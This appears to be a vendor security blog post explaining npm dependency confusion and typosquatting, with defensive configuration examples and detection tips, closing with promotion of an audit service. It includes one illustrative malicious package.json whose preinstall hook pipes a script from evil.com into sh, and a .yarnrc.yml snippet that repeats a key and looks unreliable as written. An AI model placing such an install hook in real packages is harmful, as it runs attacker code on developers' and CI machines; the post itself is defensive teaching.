Back to Blog
Security11 min

Someone Published a Package Named After Your Internal Library

Dependency confusion and typosquatting attacks exploit how package managers resolve names. Your private packages might be getting hijacked right now.

By Security TeamMarch 19, 2026

In 2021, Alex Birsan published a research paper and then proceeded to pop shells inside Apple, Microsoft, Tesla, and about 35 other companies. No zero-days. No phishing. He just published public npm packages with the same names as their internal ones. The build systems pulled his code instead. He made $130,000 in bug bounties from that single technique.

Most companies patched the specific vector he used. The underlying problem never went away.

How Package Managers Actually Resolve Names

When you run npm install analytics-utils, npm checks the public registry at registry.npmjs.org. If your company also has a private registry with a package called analytics-utils, which one wins? The answer depends on your configuration, and the default behavior across most package managers is: public wins. Or more accurately, highest version number wins, and an attacker can always publish version 99.0.0.

pip does the same thing. Maven does it. NuGet does it. Ruby gems, Go modules, every ecosystem has some variant of this problem because they were all designed assuming package names are globally unique. They're not. Your @company/auth-helpers scoped package is safe. Your unscoped company-auth-helpers is a sitting duck.

// .npmrc that most teams use
registry=https://registry.npmjs.org/

// What they should have
@yourcompany:registry=https://npm.yourcompany.com/
registry=https://registry.npmjs.org/
// Now scoped packages go to private, everything else goes public

That second config is the fix. About 60% of companies running private registries don't have it.

Typosquatting Is Dumber and It Works Better

Dependency confusion requires knowing internal package names. Typosquatting just requires humans to be humans. lodahs instead of lodash. expres instead of express. cross-env got cloned as crossenv back in 2017 and it harvested environment variables, which means AWS keys, database passwords, every secret your CI pipeline touches.

The scary part: crossenv had 700 downloads before anyone caught it. Not 700 bots. Real developers, real build systems, real production environments running someone else's malicious code because of one missing hyphen.

npm has gotten better at catching these. They scan for known typosquat patterns now. But attackers adapt. Recent techniques include:

  • Using different separators: react_dom vs react-dom
  • Adding plausible suffixes: express-validator-utils (not a real package of the popular library)
  • Targeting less popular but widely-used packages where npm's detection is weaker
  • Publishing under orgs that look official: @expressjs-official/core

The Install Script Problem

npm packages can run arbitrary code during installation. Not after you import them. During npm install. The preinstall, install, and postinstall scripts execute with whatever permissions your shell has, which in CI environments is usually root or close to it.

// package.json of a malicious typosquat
{
  "name": "lodashe",
  "version": "1.0.0",
  "scripts": {
    "preinstall": "curl https://evil.com/steal.sh | sh"
    // runs before you even get a chance to look at the code
    // your CI just executed arbitrary shell commands
  }
}

You can disable install scripts with --ignore-scripts. Almost nobody does because half the npm ecosystem breaks without them. node-gyp bindings, sharp image processing, esbuild binaries, they all need postinstall to work. So you're stuck choosing between functional builds and security. Fun tradeoff.

Yarn 2+ and pnpm handle this better. Yarn's enableScripts: false with a per-package allowlist is the right approach. Explicitly whitelist which packages can run install scripts. Everything else gets blocked.

// .yarnrc.yml - actually secure
enableScripts: false
enableScripts:
  - sharp
  - esbuild
  - @prisma/client
  // only these three can run postinstall
  // everything else is sandboxed

Your Lockfile Won't Save You Either

Lockfiles pin versions. Great. But they pin names to versions, not names to content. If someone compromises a package and publishes the exact same version with different code (account takeover, registry compromise), your lockfile happily installs the poisoned version because the version string matches.

npm added integrity hashes to lockfiles a while back. That does help, if the hash was generated against the clean version. If your first install happened after the compromise, the bad hash is what gets locked. And if you run npm install without a lockfile in CI (which happens more than anyone wants to admit), all bets are off.

Check your CI pipelines right now. Is it running npm install or npm ci? The difference matters enormously. npm ci uses the lockfile strictly. npm install might update it. Teams that deploy with npm install in their Dockerfile are playing Russian roulette with their supply chain.

# Dockerfile you've probably seen (or written)
FROM node:20-alpine
WORKDIR /app
COPY package*.json ./
RUN npm install          # NO. Stop. Use npm ci.
COPY . .
RUN npm run build

# Fixed
FROM node:20-alpine
WORKDIR /app
COPY package*.json package-lock.json ./
RUN npm ci --ignore-scripts  # strict lockfile, no arbitrary code execution
COPY . .
RUN npm run build

Confusion Attacks Against Private Registries

Artifactory, Verdaccio, GitHub Packages, AWS CodeArtifact. Whatever you're using as a private registry, the default proxy behavior is usually: check local first, then proxy to public npm. Sounds fine. Until someone publishes your-internal-package@999.0.0 on the public registry and the proxy fetches it because it has a higher version than your local 2.3.1.

AWS CodeArtifact actually fixed this properly. You can configure upstream blocking per-package. Artifactory has "exclude patterns" that work similarly. But the defaults are still permissive because breaking existing workflows is worse for adoption than being secure, apparently.

A penetration tester at a fintech company ran a test last year. They found 14 internal package names by scraping JavaScript source maps that were accidentally exposed on the CDN. Published all 14 names to npm with a benign postinstall that phoned home. Within 48 hours, 9 of them had been installed by internal build systems. Nine out of fourteen. No alerts fired.

Defending against this specifically

Claim your names. Even if you use scoped packages internally (@company/whatever), register the unscoped versions on npm too. Just publish empty placeholder packages. It costs nothing and closes the confusion vector entirely. Microsoft does this now. They learned the expensive way.

// placeholder package.json - publish to npm
{
  "name": "your-internal-package-name",
  "version": "0.0.1",
  "description": "Placeholder to prevent dependency confusion",
  "private": false
  // no code, no install scripts, just occupies the name
}

Detection After the Fact

If you're already running packages you didn't vet, how would you know? Most dependency confusion payloads are designed to be quiet. They exfiltrate data, establish persistence, and then sit there.

Signs to look for: unexpected DNS lookups from build servers (dependency confusion payloads often use DNS exfiltration because it bypasses most firewalls), packages in your lockfile that don't have a corresponding entry on your private registry, version numbers that jumped unexpectedly between builds, and CI build times that changed without code changes.

Socket.dev does good work here. Their tool analyzes package behavior, not just known CVEs. It flags packages that access the network during install, read environment variables, or execute shell commands. The signal-to-noise ratio is way better than npm audit.

But automated scanning catches maybe 70% of supply chain attacks on a good day. Manual review of your dependency tree, specifically looking at packages you don't recognize, new additions you didn't explicitly approve, and version bumps that came from automated systems without human review, catches the other 30%. ScanMyCode.dev runs dependency audits that flag exactly these patterns: unexpected packages, suspicious install scripts, and version anomalies across your entire tree.

What Actually Works

Scope everything. @yourorg/package-name on npm, GroupId namespacing on Maven, whatever the ecosystem equivalent is. Scoped packages can't be confused because the namespace is tied to your npm org, and you control that.

Pin your registry configuration in the repo, not on individual developer machines. An .npmrc committed to the repo ensures every developer and every CI runner uses the same registry setup. If it's only on the dev's laptop, the CI server is still vulnerable.

Run npm ci everywhere. Never npm install in CI. Ever.

Review PRs that add new dependencies with the same rigor you'd review a code change that touches authentication. Because adding a dependency is adding someone else's code to your auth surface. Someone you've never met. Someone who might sell their npm account for $500 on a forum somewhere. It happens. The ua-parser-js compromise in 2021 happened exactly that way.

And audit your .npmrc across every repo. Right now. Not next sprint. The configuration file that determines where your packages come from is a one-line fix, and getting it wrong means your build system will happily install whatever an attacker publishes.

Stop Trusting the Registry

Package managers were built for convenience. The security model was bolted on afterward and it shows. Dependency confusion and typosquatting aren't sophisticated attacks. They exploit the gap between how developers think package resolution works and how it actually works.

Run a dependency audit on ScanMyCode.dev. You'll get a full report on your dependency tree, including confusion risks, typosquat candidates, and packages with suspicious install scripts. Takes 24 hours. Costs less than the mass update you'll need to do after a compromise.

dependency-confusiontyposquattingsupply-chainnpmsecuritypackage-managers

Ready to improve your code?

Get an AI-powered code audit with actionable recommendations. Results in 24 hours.

Start Your Audit